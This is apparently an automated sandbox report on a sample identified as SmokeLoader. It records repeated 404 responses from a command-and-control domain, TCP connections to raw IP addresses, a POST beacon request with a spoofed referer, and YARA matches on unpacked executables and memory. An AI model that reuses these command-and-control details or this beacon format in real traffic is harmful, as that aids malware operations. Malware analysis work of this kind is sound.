61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:11:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:11:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:11:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:11:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:11:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:11:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:11:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 83 28 c8 53 57 5c 29 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 cc ec d2 ca 71 c4 7c be 0c c8 8c 31 f4 d1 98 44 68 38 4b 79 b3 fd ce d5 41 be 53 c9 5c a3 96 52 9b 1f d5 b8 e2 60 1b d6 d6 3d 1b cc c6 84 5b c2 67 7b 0d fc 45 a7 fd 00 72 6f 0e 3b 9a eb 96 06 d9 9a 3c ea d4 28 6a a3 4e 6e ad 0c 0f 59 cf 4c 15 6a c1 a8 a4 02 cb 50 7b 09 6a 86 79 d7 95 e7 05 f5 e1 94 52 e8 59 9b c5 a7 86 38 b4 f2 a7 7c 2b f0 3a cb 8f 8c f5 cf 9b 3b 66 9b 16 b8 eb 1b e5 d7 4a 74 d0 eb d8 07 cd 23 90 78 51 71 a2 8f d2 ee cf 1c e0 02 02 50 08 08 d8 e2 20 a5 19 93 9b 97 4f f3 e0 e4 62 79 00 94 d5 d6 cb 0f 3d 61 19 f7 cb d2 b3 01 92 b4 b9 c1 82 20 59 57 11 5c 7c a3 7b ab ab 09 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 15 67 aa cf 30 c0 7a 9f 06 a2 7f c1 96 98 8b 36 19 19 cb 8a 13 d8 06 0e 45 87 13 7d 6f fd e0 04 89 f9 d4 57 80 90 70 89 f4 25 75 6b de f2 a2 22 48 32 d2 49 ad ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 75 01 35 07 1e fe 63 4b 83 8b 14 ca c3 f3 b2 ec 92 c0 15 1c 57 ec 87 7e 0c 35 8a 3d 50 7f d0 56 81 96 9b 97 7e 70 9f 6a a8 a5 17 08 e8 e1 98 ab e1 5f 11 87 4a 71 87 56 b0 50 f6 0a bf d9 6b 91 e0 55 d0 66 21 df 76 79 27 24 58 96 3a 39 d1 da 03 d4 30 74 61 27 47 c2 e6 5e 89 b2 e2 9b 52 ec c0 76 a7 e2 f0 b5 c3 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 78 2d 7f d4 2c d6 e8 b1 14 73 71 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 70 9c 82 97 d1 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 36 41 ae e4 c3 88 3e 9d 43 dd 17 fe 2f 43 9e 8e ea 4c 76 7b de e2 46 f0 2e 56 bb 43 3e 8f 17 94 6b 36 a4 29 ec 90 bc 10 c9 2a 7c bd 67 c1 aa d7 b0 5d 28 ed fe 7b 9c 4d 16 94 18 42 26 2e 92 cc 1e fe 18 aa 34 a6 6d 96 8e a4 42 1f 01 31 fd ce 0f 88 f4 0e 37 c4 fe 87 75 87 f0 d3 4b 1d 53 58 1d a5 05 80 e0 2d f0 0e 55 f6 1f 5f a1 67 50 41 48 ab 0b 52 ea 5a 15 6c de 30 ea 2e ad 46 6a de 5e f7 44 18 bd 95 59 f8 d2 3e b8 77 24 7e 65 b9 0a f1 91 cf f3 bc 34 bc 36 b3 ec d3 70 01 21 f4 5c 58 2b 72 12 c9 8e 70 ac e4 26 be 99 04 33 2b 22 f5 2d 09 7d a2 d1 92 4b de 94 cf 91 7b 41 0a f6 29 8f 4d aa d1 b9 ba 97 30 d0 47 43 05 f2 42 e6 56 91 24 c8 00 66 b4 ea f1 ea 7f ae 1a a5 f4 ea 4c 90 54 77 8b ee 2b 0b 67 45 12 c3 3e ba 2d 09 86 99 57 f9 68 8d 90 26 d3 d6 c0 c8 30 6f 41 cb 1b b9 71 ca 6d 88 44 13 51 13 66 7d 6c 65 04 f5 7f f6 50 99 85 84 90 c1 2f d1 0c 6a c3 1b 95 50 49 25 3f d2 3e 20 12 1e b7 6b 6c cc bd 41 2b 1b 23 28 21 ae 60 78 2f 46 5e 1e b2 57 d9 bd be 2f 83 ef d9 a7 8f 83 f1 60 4c 72 fe 24 f4 89 6f e4 f7 81 c4 ff 58 4f dd d7 ef 3d 08 bb 78 fd 16 f7 c9 66 bd 2b da df 97 5f 29 86 97 72 20 bd 29 71 96 25 a6 46 bd 59 f8 b6 06 d7 55 02 a0 48 79 68 42 65 09 90 ed ff 21 ab c0 00 75 94 f2 cb 54 26 12 ad 67 61 8a ec 1c dc ce 76 60 4c 00 c8 98 ff e0 2b 03 c6 c0 fb 71 7b 01 00 a5 20 e0 e2 cc 93 4f fd 40 9c 81 b9 f3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:11:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.97

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xauocndh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 146Host: hajezey1.top

Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.5:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.5:49808 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 19.0.jejhieg.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.C5EA.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.cnv622JnZv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.C5EA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.C5EA.exe.2ba15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.jejhieg.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.1.jejhieg.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.1.C5EA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.C5EA.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.cnv622JnZv.exe.2dc15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jejhieg.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.cnv622JnZv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.8615.exe.2fb0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.C5EA.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.8615.exe.2fc0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.jejhieg.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.jejhieg.2cc15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.8615.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.465682057.00000000047F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.440048320.0000000002FD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.440144777.0000000002FF1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.320318511.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.379053476.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.302632865.0000000004F61000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.379166058.0000000001F61000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.464888081.0000000002B70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.423422124.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.320173015.0000000000460000.00000004.00000001.sdmp, type: MEMORY

